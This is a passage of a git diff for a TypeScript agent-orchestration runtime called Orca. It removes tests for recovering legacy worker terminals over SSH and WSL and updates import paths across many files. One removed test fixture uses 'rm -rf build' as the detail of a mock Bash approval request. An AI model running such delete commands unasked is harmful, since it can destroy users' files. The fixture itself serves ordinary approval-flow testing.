'legacy-missing-retry', - worktreeId: TEST_WORKTREE_ID, - agent: 'codex', - providerSession: { key: 'session_id', id: 'legacy-missing-retry-session' }, - prompt: 'continue', - state: 'working', - capturedAt: 1, - updatedAt: 1, - origin: 'live' - } - } - } - const { runtimeStore, getSession, setSession } = makeRuntimeStoreWithWorkspaceSession(session) - const firstDurableWrite = deferred() - const firstDurableWriteStarted = deferred() - const retryDurableWrite = deferred() - const retryDurableWriteStarted = deferred() - let flushCount = 0 - const flushPendingOrThrowAsync = vi.fn(() => { - flushCount += 1 - if (flushCount === 1) { - firstDurableWriteStarted.resolve() - return firstDurableWrite.promise - } - retryDurableWriteStarted.resolve() - return retryDurableWrite.promise - }) - const runtime = new OrcaRuntimeService( - withDurableRuntimeStore({ ...runtimeStore, flushPendingOrThrowAsync }), - undefined, - { canRecoverPersistentLocalPtys: () => true } - ) - const db = new OrchestrationDb(':memory:') - try { - const task = db.createTask({ - runId: 'run_legacy_local', - spec: 'retry missing worker recovery' - }) - const started = db.createStartingWorkerDispatch({ - creator: { kind: 'system' }, - maxDepth: Number.MAX_SAFE_INTEGER, - taskId: task.id, - startOptions: { topology: 'current', agent: 'codex' } - }) - db.prepareStartingWorkerAuthority({ - dispatchId: started.dispatch.id, - handle: 'term_missing_retry', - paneKey: workerPaneKey, - processIncarnation: `pty-missing-retry:${incarnationId}`, - worktreeId: TEST_WORKTREE_ID, - setupState: 'not_applicable', - effects: [] - }) - db.markWorkerDispatchReady(started.dispatch.id) - runtime.setOrchestrationDb(db) - runtime.setPtyController({ - write: vi.fn(() => true), - kill: vi.fn(() => true), - getForegroundProcess: async () => null, - hasPty: () => false, - listProcesses: async () => [] - }) - const resolveLegacyWorkerTerminalRecovery = vi.fn() - runtime.setNotifier({ resolveLegacyWorkerTerminalRecovery } as never) - const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}) - - const firstRecovery = runtime.reconcileLegacyWorkerTerminals() - await firstDurableWriteStarted.promise - setSession({ ...getSession(), sleepingAgentSessionsByPaneKey: undefined }) - firstDurableWrite.reject(new Error('disk unavailable')) - - await expect(firstRecovery).resolves.toMatchObject({ - exitedDispatchIds: [], - deferredDispatchIds: [started.dispatch.id] - }) - expect(db.getDispatchContextById(started.dispatch.id)?.status).toBe('dispatched') - expect(db.getWorkerDispatch(started.dispatch.id)?.state).toBe('ready') - expect(getSession().sleepingAgentSessionsByPaneKey).toBeUndefined() - - const retry = runtime.reconcileLegacyWorkerTerminals() - await retryDurableWriteStarted.promise - expect(db.getDispatchContextById(started.dispatch.id)?.status).toBe('dispatched') - expect(db.getWorkerDispatch(started.dispatch.id)?.state).toBe('ready') - retryDurableWrite.resolve() - - await expect(retry).resolves.toMatchObject({ - exitedDispatchIds: [started.dispatch.id], - deferredDispatchIds: [] - }) - expect(flushPendingOrThrowAsync).toHaveBeenCalledTimes(2) - expect(db.getWorkerDispatch(started.dispatch.id)?.state).toBe('abandoned') - expect(getSession().sleepingAgentSessionsByPaneKey?.[workerPaneKey]).toBeUndefined() - expect(resolveLegacyWorkerTerminalRecovery).toHaveBeenCalledWith( - workerPaneKey, - 'rolled_back', - 'pty-missing-retry' - ) - expect(resolveLegacyWorkerTerminalRecovery).toHaveBeenCalledWith(workerPaneKey, 'exited') - warn.mockRestore() - } finally { - db.close() - } - }) -}) diff --git a/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-06.spec.ts b/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-06.spec.ts index b49f163b54f..12aa86fb27e 100644 --- a/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-06.spec.ts +++ b/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-06.spec.ts @@ -1,310 +1,25 @@ import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' -import { makeRuntimeOrchestrationDb } from './runtime-orchestration-db.test-fixture' +import './runtime-orchestration-db.test-fixture' import { withDurableRuntimeStore } from './runtime-durable-store-fixture' import { describe, expect, it, vi } from 'vitest' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import { setPlatform } from '../orca-runtime-test-mocks/setup.spec' +import '../../../shared/orca-profiles/constants' +import '../orca-runtime-test-mocks/setup.spec' import { HEADLESS_LEAF_ID, HEADLESS_SECOND_LEAF_ID, HEADLESS_THIRD_LEAF_ID, - LIST_PROVIDER_DEADLINE, - TEST_REPO_ID, TEST_WORKTREE_ID, TEST_WORKTREE_PATH, makeHeadlessTerminalLayout, makeRuntimeStoreWithWorkspaceSession, - makeWorkspaceSessionWithHeadlessTerminal, - store + makeWorkspaceSessionWithHeadlessTerminal } from './orca-runtime-test-fixtures.spec' -import { publishLegacyWorkerReveal } from './orca-runtime-test-scenario-builders.spec' +import './orca-runtime-test-scenario-builders.spec' describe('OrcaRuntimeService', () => { - it('adopts an SSH legacy worker only after its matching relay is ready', async () => { - const connectionId = 'ssh-legacy-worker' - const ptyId = `ssh:${connectionId}@@pty-legacy-worker` - const workerPaneKey = `legacy-ssh-worker:${HEADLESS_LEAF_ID}` - const incarnationId = '77777777-7777-4777-8777-777777777777' - const session: WorkspaceSessionState = { - ...getDefaultWorkspaceSession(), - tabsByWorktree: { [TEST_WORKTREE_ID]: [] }, - sleepingAgentSessionsByPaneKey: { - [workerPaneKey]: { - paneKey: workerPaneKey, - tabId: 'legacy-ssh-worker', - worktreeId: TEST_WORKTREE_ID, - agent: 'codex', - providerSession: { key: 'session_id', id: 'legacy-ssh-codex-session' }, - prompt: 'continue', - state: 'working', - capturedAt: 1, - updatedAt: 1, - origin: 'live', - connectionId - } - } - } - const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession(session) - const localSession = getDefaultWorkspaceSession() - let sshSession = session - const getWorkspaceSession = vi.fn((hostId?: string | null) => - hostId === `ssh:${connectionId}` ? sshSession : localSession - ) - const setWorkspaceSession = vi.fn((next: WorkspaceSessionState, hostId?: string | null) => { - if (hostId !== `ssh:${connectionId}`) { - throw new Error(`unexpected workspace-session host ${hostId ?? 'default'}`) - } - sshSession = next - }) - const getSession = (): WorkspaceSessionState => sshSession - const remoteRepo = { - ...store.getRepos()[0], - connectionId - } - const listProcesses = vi.fn(async () => [ - { - id: ptyId, - incarnationId, - terminalHandle: 'term_ssh_legacy', - title: 'SSH legacy worker', - cwd: TEST_WORKTREE_PATH, - worktreeId: TEST_WORKTREE_ID, - wslDistro: null - } - ]) - const serializeProviderBuffer = vi.fn().mockResolvedValue(null) - const serializeBuffer = vi.fn().mockResolvedValue({ - data: ' >_ OpenAI Codex (v0.131.0)\r\n model: gpt-5.5 high\r\n directory: /repo\r\n', - cols: 80, - rows: 24 - }) - const runtime = new OrcaRuntimeService( - withDurableRuntimeStore({ - ...runtimeStore, - getRepos: () => [remoteRepo], - getRepo: (id: string) => (id === TEST_REPO_ID ? remoteRepo : undefined), - getWorkspaceSession, - setWorkspaceSession, - // Every partition the store holds, as the profile Store lists them. - getWorkspaceSessionHostIds: () => ['local' as const, `ssh:${connectionId}` as const], - flushOrThrow: vi.fn() - }), - undefined, - { canRecoverPersistentLocalPtys: () => true } - ) - const orchestrationDb = makeRuntimeOrchestrationDb() - vi.spyOn(orchestrationDb, 'listSessionDispatchesForPresentation').mockImplementation(() => []) - vi.spyOn(orchestrationDb, 'listLegacyWorkerTerminalRecoveryRows').mockImplementation(() => [ - { - dispatch_id: 'dispatch-ssh', - task_id: 'task-ssh', - dispatch_status: 'completed', - contract_version: 0, - assignee_handle: 'term_ssh_legacy', - assignee_pane_key: workerPaneKey, - process_incarnation: `${ptyId}:${incarnationId}`, - worker_state: 'ready', - worktree_id: TEST_WORKTREE_ID, - agent_terminal_handle: 'term_ssh_legacy' - } - ]) - runtime.setOrchestrationDb(orchestrationDb) - runtime.setPtyController({ - write: vi.fn(() => true), - kill: vi.fn(() => true), - getForegroundProcess: async () => null, - hasPty: (candidate) => candidate === ptyId, - listProcesses, - serializeBuffer, - serializeProviderBuffer, - hasRendererSerializer: () => true - }) - const revealTerminalSession = vi.fn().mockImplementation(() => - publishLegacyWorkerReveal(runtime, { - worktreeId: TEST_WORKTREE_ID, - tabId: 'legacy-ssh-worker', - leafId: HEADLESS_LEAF_ID, - ptyId - }) - ) - runtime.setNotifier({ revealTerminalSession } as never) - - await expect( - runtime.reconcileLegacyWorkerTerminals({ - connectionId: 'ssh-wrong-host', - materializeRenderer: true - }) - ).resolves.toMatchObject({ - adoptedDispatchIds: [], - exitedDispatchIds: [], - deferredDispatchIds: ['dispatch-ssh'] - }) - expect(listProcesses).not.toHaveBeenCalled() - expect(getSession().sleepingAgentSessionsByPaneKey?.[workerPaneKey]).toBeDefined() - expect(localSession.sleepingAgentSessionsByPaneKey?.[workerPaneKey]).toBeUndefined() - - await expect( - runtime.reconcileLegacyWorkerTerminals({ - connectionId, - materializeRenderer: true - }) - ).resolves.toMatchObject({ - adoptedDispatchIds: ['dispatch-ssh'], - exitedDispatchIds: [], - deferredDispatchIds: [] - }) - expect(listProcesses).toHaveBeenLastCalledWith(`ssh:${connectionId}`, LIST_PROVIDER_DEADLINE) - - expect(getSession().sleepingAgentSessionsByPaneKey?.[workerPaneKey]).toBeUndefined() - expect(getWorkspaceSession).toHaveBeenCalledWith(`ssh:${connectionId}`) - expect(setWorkspaceSession).toHaveBeenCalledWith(expect.any(Object), `ssh:${connectionId}`) - expect(listProcesses).toHaveBeenCalledTimes(3) - expect(revealTerminalSession).toHaveBeenCalledWith(TEST_WORKTREE_ID, { - ptyId, - title: 'SSH legacy worker', - activate: false, - presentation: 'background', - tabId: 'legacy-ssh-worker', - leafId: HEADLESS_LEAF_ID, - focus: false, - expectedProcessIdentity: { - terminalHandle: 'term_ssh_legacy', - incarnationId - } - }) - await expect( - runtime.waitForTerminal('term_ssh_legacy', { condition: 'tui-idle', timeoutMs: 100 }) - ).resolves.toMatchObject({ satisfied: true }) - expect(serializeProviderBuffer).toHaveBeenCalledOnce() - expect(serializeBuffer).toHaveBeenCalledOnce() - }) - - it('refuses a cross-distro WSL worker and adopts it after exact host ownership matches', async () => { - setPlatform('win32') - const workerPaneKey = `legacy-wsl-worker:${HEADLESS_LEAF_ID}` - const incarnationId = '88888888-8888-4888-8888-888888888888' - let observedDistro = 'Debian' - const session: WorkspaceSessionState = { - ...getDefaultWorkspaceSession(), - tabsByWorktree: { [TEST_WORKTREE_ID]: [] }, - sleepingAgentSessionsByPaneKey: { - [workerPaneKey]: { - paneKey: workerPaneKey, - tabId: 'legacy-wsl-worker', - worktreeId: TEST_WORKTREE_ID, - agent: 'codex', - providerSession: { key: 'session_id', id: 'legacy-wsl-codex-session' }, - prompt: 'continue', - state: 'working', - capturedAt: 1, - updatedAt: 1, - origin: 'live' - } - } - } - const { runtimeStore, getSession } = makeRuntimeStoreWithWorkspaceSession(session) - const runtime = new OrcaRuntimeService( - withDurableRuntimeStore({ - ...runtimeStore, - getProjects: () => [ - { - id: 'project-wsl', - displayName: 'repo', - badgeColor: 'blue', - sourceRepoIds: [TEST_REPO_ID], - localWindowsRuntimePreference: { kind: 'wsl' as const, distro: 'Ubuntu' }, - createdAt: 0, - updatedAt: 0 - } - ], - getSettings: () => ({ - ...store.getSettings(), - localWindowsRuntimeDefault: { kind: 'windows-host' as const } - }), - flushOrThrow: vi.fn() - }), - undefined, - { canRecoverPersistentLocalPtys: () => true } - ) - const orchestrationDb = makeRuntimeOrchestrationDb() - vi.spyOn(orchestrationDb, 'listSessionDispatchesForPresentation').mockImplementation(() => []) - vi.spyOn(orchestrationDb, 'listLegacyWorkerTerminalRecoveryRows').mockImplementation(() => [ - { - dispatch_id: 'dispatch-wsl', - task_id: 'task-wsl', - dispatch_status: 'completed', - contract_version: 0, - assignee_handle: 'term_wsl_legacy', - assignee_pane_key: workerPaneKey, - process_incarnation: `pty-wsl-legacy:${incarnationId}`, - worker_state: 'ready', - worktree_id: TEST_WORKTREE_ID, - agent_terminal_handle: 'term_wsl_legacy' - } - ]) - runtime.setOrchestrationDb(orchestrationDb) - // Declare the scope parameter so mock.calls retains its type alongside the runtime deadline. - const listProcesses = vi.fn(async (_connectionId?: string | null) => [ - { - id: 'pty-wsl-legacy', - incarnationId, - terminalHandle: 'term_wsl_legacy', - title: 'WSL legacy worker', - cwd: TEST_WORKTREE_PATH, - worktreeId: TEST_WORKTREE_ID, - wslDistro: observedDistro - } - ]) - runtime.setPtyController({ - write: vi.fn(() => true), - kill: vi.fn(() => true), - getForegroundProcess: async () => null, - hasPty: (ptyId) => ptyId === 'pty-wsl-legacy', - listProcesses - }) - const revealTerminalSession = vi.fn().mockImplementation(() => - publishLegacyWorkerReveal(runtime, { - worktreeId: TEST_WORKTREE_ID, - tabId: 'legacy-wsl-worker', - leafId: HEADLESS_LEAF_ID, - ptyId: 'pty-wsl-legacy' - }) - ) - runtime.setNotifier({ revealTerminalSession } as never) - - await expect( - runtime.reconcileLegacyWorkerTerminals({ materializeRenderer: true }) - ).resolves.toMatchObject({ - adoptedDispatchIds: [], - exitedDispatchIds: [], - deferredDispatchIds: ['dispatch-wsl'] - }) - expect(getSession().sleepingAgentSessionsByPaneKey?.[workerPaneKey]).toBeDefined() - expect(revealTerminalSession).not.toHaveBeenCalled() - - observedDistro = 'Ubuntu' - await expect( - runtime.reconcileLegacyWorkerTerminals({ materializeRenderer: true }) - ).resolves.toMatchObject({ - adoptedDispatchIds: ['dispatch-wsl'], - exitedDispatchIds: [], - deferredDispatchIds: [] - }) - expect(getSession().sleepingAgentSessionsByPaneKey?.[workerPaneKey]).toBeUndefined() - expect(revealTerminalSession).toHaveBeenCalledOnce() - expect(listProcesses).toHaveBeenCalledTimes(5) - expect(listProcesses.mock.calls.map((call) => call[0])).toEqual([ - 'local', - 'local', - 'local', - 'local', - 'local' - ]) - }) - it('restores orphan pane and group topology without replacing a newer host-owned tab', async () => { const newerLeafId = '44444444-4444-4444-8444-444444444444' const session: WorkspaceSessionState = { diff --git a/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts b/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts index 60bf5a5f60d..dfc4b49afa6 100644 --- a/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts +++ b/src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts @@ -2,7 +2,7 @@ import { withDurableRuntimeStore } from './runtime-durable-store-fixture' import { describe, expect, it, vi } from 'vitest' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { HEADLESS_LEAF_ID, TEST_REPO_ID, diff --git a/src/main/runtime/orca-runtime-tests/worktree-selector-resolution.spec.ts b/src/main/runtime/orca-runtime-tests/worktree-selector-resolution.spec.ts index 4f6f9006b8f..fb0cb100b13 100644 --- a/src/main/runtime/orca-runtime-tests/worktree-selector-resolution.spec.ts +++ b/src/main/runtime/orca-runtime-tests/worktree-selector-resolution.spec.ts @@ -1,7 +1,7 @@ import '../../providers/ssh-host-not-served-error' import { describe, expect, it, vi } from 'vitest' import './runtime-test-module-registration.spec' -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import { MOCK_GIT_WORKTREES, computeWorktreePathMock, diff --git a/src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts b/src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts index b43beea7822..af041250707 100644 --- a/src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts +++ b/src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts @@ -1,4 +1,4 @@ -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import { describe, expect, it, vi } from 'vitest' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' diff --git a/src/main/runtime/orca-runtime.ts b/src/main/runtime/orca-runtime.ts index ce935c16083..a44bdeca6da 100644 --- a/src/main/runtime/orca-runtime.ts +++ b/src/main/runtime/orca-runtime.ts @@ -41,7 +41,7 @@ import { referenceConnectionHosts } from './workspaces/references/runtime-reference-agents' import type { RuntimeReferenceFindParams } from '../../shared/workspace-attachments/runtime-reference-contracts' -import { getRepoExecutionHostId } from '../../shared/execution-host' +import { getRepoExecutionHostId } from '../../shared/execution-host/execution-host' import type { LayoutApplyReply } from '../../shared/workspace-layout/workspace-layout-command-types' import { rekeyMovedPaneOwners } from './terminal/identity/moved-pane-owner-rekey' import * as Layout from './terminal/layout/runtime-layout-apply' diff --git a/src/main/runtime/orchestration/crew/crew-workspace-names.test.ts b/src/main/runtime/orchestration/crew/crew-workspace-names.test.ts index 2aa6b7cbd5b..66b73b729ea 100644 --- a/src/main/runtime/orchestration/crew/crew-workspace-names.test.ts +++ b/src/main/runtime/orchestration/crew/crew-workspace-names.test.ts @@ -1,5 +1,5 @@ import { expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { fixture } from '../../../persistence/loading-store/profile-writing/profile-state-delayed-authority-fixture' import { makeTerminalTab, diff --git a/src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts b/src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts index 6b575276db3..d80a0c9fc65 100644 --- a/src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts +++ b/src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts @@ -9,7 +9,7 @@ import { import { getConnectionExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { ExactWorkerProviderSession } from '../../../../../shared/orchestration/workers/orchestration-worker-output' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import { isTuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent-config' diff --git a/src/main/runtime/orchestration/terminal-authority/legacy-worker-terminal-surface.ts b/src/main/runtime/orchestration/terminal-authority/legacy-worker-terminal-surface.ts index 1e443c6c520..690aaa66128 100644 --- a/src/main/runtime/orchestration/terminal-authority/legacy-worker-terminal-surface.ts +++ b/src/main/runtime/orchestration/terminal-authority/legacy-worker-terminal-surface.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RuntimePtyWorktreeRecord } from '../../terminal/records/runtime-terminal-state-records' import type { RuntimeTerminalOrphanAdoptionRequest, diff --git a/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-persistence.test.ts b/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-persistence.test.ts index 5e66a81a4a3..ec46a30a74e 100644 --- a/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-persistence.test.ts +++ b/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-persistence.test.ts @@ -1,8 +1,8 @@ import { afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-persistence.ts b/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-persistence.ts index d19ad29f918..ae802158795 100644 --- a/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-persistence.ts +++ b/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-persistence.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { retireTerminalSurfaceFromPersistence } from '../../terminal/surface/mobile-session-terminal-persistence-retirement' import type { OrchestrationDb } from '../db/orchestration-db' diff --git a/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-runner.ts b/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-runner.ts index 2bc6c720d69..19aad5c8757 100644 --- a/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-runner.ts +++ b/src/main/runtime/orchestration/terminal-authority/runtime-legacy-worker-terminal-recovery-runner.ts @@ -1,5 +1,5 @@ import { parseAppSshPtyId } from '../../../../shared/remote-runtime/ssh/ssh-pty-id' -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getPtyExecutionHost } from '../../../../shared/terminal/pty/lifecycle/terminal-execution-host' import type { RuntimeLegacyWorkerTerminalRecoveryController } from './runtime-legacy-worker-terminal-recovery-controller' import { diff --git a/src/main/runtime/orchestration/terminal-authority/runtime-restored-orchestration-authority-sweep.ts b/src/main/runtime/orchestration/terminal-authority/runtime-restored-orchestration-authority-sweep.ts index 8bc114e9744..4b96175f378 100644 --- a/src/main/runtime/orchestration/terminal-authority/runtime-restored-orchestration-authority-sweep.ts +++ b/src/main/runtime/orchestration/terminal-authority/runtime-restored-orchestration-authority-sweep.ts @@ -1,5 +1,8 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' -import { LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + toSshExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { RestoredOrchestrationAuthorityReceipt } from './orchestration-compatibility-authority' /** Retire only from completed provider absence proofs; failed listings cannot revoke handles the relay may still reach. */ diff --git a/src/main/runtime/orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-recovery-test-fixture.ts b/src/main/runtime/orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-recovery-test-fixture.ts index 5d185aac575..57cd830ad9c 100644 --- a/src/main/runtime/orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-recovery-test-fixture.ts +++ b/src/main/runtime/orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-recovery-test-fixture.ts @@ -1,6 +1,6 @@ import type { PtyControllerInventory } from '../../../terminal/lifecycle/runtime-pty-controller-contract' import { vi, type Mock } from 'vitest' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { OrchestrationError } from '../../orchestration-error' import { RuntimeLegacyWorkerTerminalRecoveryController } from '../runtime-legacy-worker-terminal-recovery-controller' import type { diff --git a/src/main/runtime/orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-terminal-recovery-types.ts b/src/main/runtime/orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-terminal-recovery-types.ts index 67e992e9e9e..bfca107953e 100644 --- a/src/main/runtime/orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-terminal-recovery-types.ts +++ b/src/main/runtime/orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-terminal-recovery-types.ts @@ -1,5 +1,5 @@ import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import type { LegacyWorkerTerminalRecoveryPlan } from '../release/orchestration-legacy-worker-terminal-recovery' import type { PtyControllerInventory } from '../../../terminal/lifecycle/runtime-pty-controller-contract' diff --git a/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-worker-identity.ts b/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-worker-identity.ts index 8c151857d69..b216764d030 100644 --- a/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-worker-identity.ts +++ b/src/main/runtime/orchestration/terminal-authority/structured-sessions/structured-worker-identity.ts @@ -6,7 +6,7 @@ import { randomUUID } from 'node:crypto' import { isDeepStrictEqual } from 'node:util' import { sessionCrewChanges } from '../../crew/crew-changes' import type { AgentSessionExecutionLocation } from '../../../../../shared/agent-session/lifecycle/agent-session-record' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { structuredAgentSessionPaneKey, structuredAgentSessionTabId diff --git a/src/main/runtime/orchestration/terminal-authority/write-orchestration-pointer-pty.ts b/src/main/runtime/orchestration/terminal-authority/write-orchestration-pointer-pty.ts index 690b011ad23..77a54869a87 100644 --- a/src/main/runtime/orchestration/terminal-authority/write-orchestration-pointer-pty.ts +++ b/src/main/runtime/orchestration/terminal-authority/write-orchestration-pointer-pty.ts @@ -4,7 +4,7 @@ import { OrcaRuntimeWithRefreshFloatingWorkspacePtyLiveness } from '../../termin import { writeOrchestrationPointerWithSettlement } from '../mailbox/terminal-pointer/mailbox-pointer-pty-write' import type { WriteSettlement } from '../../../../shared/terminal/pty/lifecycle/pty-write-settlement' import type { RuntimeLeafRecord } from '../../terminal/records/runtime-terminal-state-records' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getPtyExecutionHost } from '../../../../shared/terminal/pty/lifecycle/terminal-execution-host' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import type { TerminalAgent } from '../../../../shared/agent-status/identity/terminal-agent' diff --git a/src/main/runtime/orchestration/workers/turn-stops/worker-turn-stops.test.ts b/src/main/runtime/orchestration/workers/turn-stops/worker-turn-stops.test.ts index 366ae8879be..c1c30648ea7 100644 --- a/src/main/runtime/orchestration/workers/turn-stops/worker-turn-stops.test.ts +++ b/src/main/runtime/orchestration/workers/turn-stops/worker-turn-stops.test.ts @@ -3,7 +3,7 @@ import type { AgentPaneChange } from '../../../../agent-hooks/observations/agent import type { AgentStatusIpcPayload } from '../../../../../shared/agent-status/contracts/agent-status-ipc-payload' import type { AgentSessionTurnCompletionEvent } from '../../../../../shared/agent-session/view/agent-session-turn-completion-wire' import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { formatOrcaSessionAddress } from '../../../../../shared/agent-session/identity/orca-session-address' import { testOrcaSessionId } from '../../../../../shared/agent-session/identity/orca-session-address-test-fixture' import { chatWorkerTurnStopReporter } from './chat-worker-turn-stops' @@ -122,38 +122,6 @@ describe('terminal worker turn stops', () => { expect(ctx.mail()).toHaveLength(0) }) - it.each([ - { waitingForMail: false, marked: ['apr_1'] }, - { waitingForMail: true, marked: [] } - ])( - 'marks an approval reported only when its escalation went out (%o)', - async ({ waitingForMail, marked }) => { - const ctx = setup() - if (waitingForMail) { - ctx.waiting.add(`dispatch:${ctx.dispatch.id}`) - } - const markApprovalReported = vi.fn() - const current = { row: hookRow({ state: 'working', agentType: 'claude' }) } - const stops = terminal(ctx, current, { - takeOpenApproval: async () => ({ - v: 1, - approvalId: 'apr_1', - state: 'open', - worker: { handle: HANDLE, dispatchId: ctx.dispatch.id, taskId: ctx.dispatch.task_id }, - summary: { title: 'Allow Bash?', detail: 'rm -rf build', reason: null }, - allowedActions: ['allow', 'deny'] - }), - markApprovalReported - }) - current.row = hookRow({ state: 'blocked', agentType: 'claude' }) - stops.observe(moved('working', 'needs-you')) - await settle() - - expect(ctx.mail()).toHaveLength(marked.length) - expect(markApprovalReported.mock.calls.flat()).toEqual(marked) - } - ) - it('never mails a capability or credential carried in why a worker went away', () => { const ctx = setup() const capability = 'dcap_0123456789abcdefghijKLMN' diff --git a/src/main/runtime/push/notifications/mobile-notification-dismissal-entries.ts b/src/main/runtime/push/notifications/mobile-notification-dismissal-entries.ts index 79dd9b164cc..f9fcc378fa6 100644 --- a/src/main/runtime/push/notifications/mobile-notification-dismissal-entries.ts +++ b/src/main/runtime/push/notifications/mobile-notification-dismissal-entries.ts @@ -1,5 +1,5 @@ import type { MobileNotificationEvent } from './runtime-mobile-notification-controller' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { DeliveredNotificationIdentity } from '../../../../shared/notifications/mobile-notification-identity' import type { KeyedJsonRow } from '../../../sqlite/row-cache/keyed-json-row-cache' import { diff --git a/src/main/runtime/push/notifications/runtime-mobile-notification-controller.ts b/src/main/runtime/push/notifications/runtime-mobile-notification-controller.ts index 8dfe83c1ab4..52ed2a2aed5 100644 --- a/src/main/runtime/push/notifications/runtime-mobile-notification-controller.ts +++ b/src/main/runtime/push/notifications/runtime-mobile-notification-controller.ts @@ -5,7 +5,7 @@ import { } from '../../../../shared/notifications/notification-attention-acknowledgement' import type { NotificationAttentionAcknowledgement } from '../../../../shared/notifications/notification-settings-types' import { reserveNotificationCooldown } from '../../../../shared/notifications/notification-burst-cooldown' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { AgentStatusState } from '../../../../shared/agent-status/contracts/agent-status-types' import type { StructuredAttentionOrigin, diff --git a/src/main/runtime/push/notifications/terminal-agent-phone-push.ts 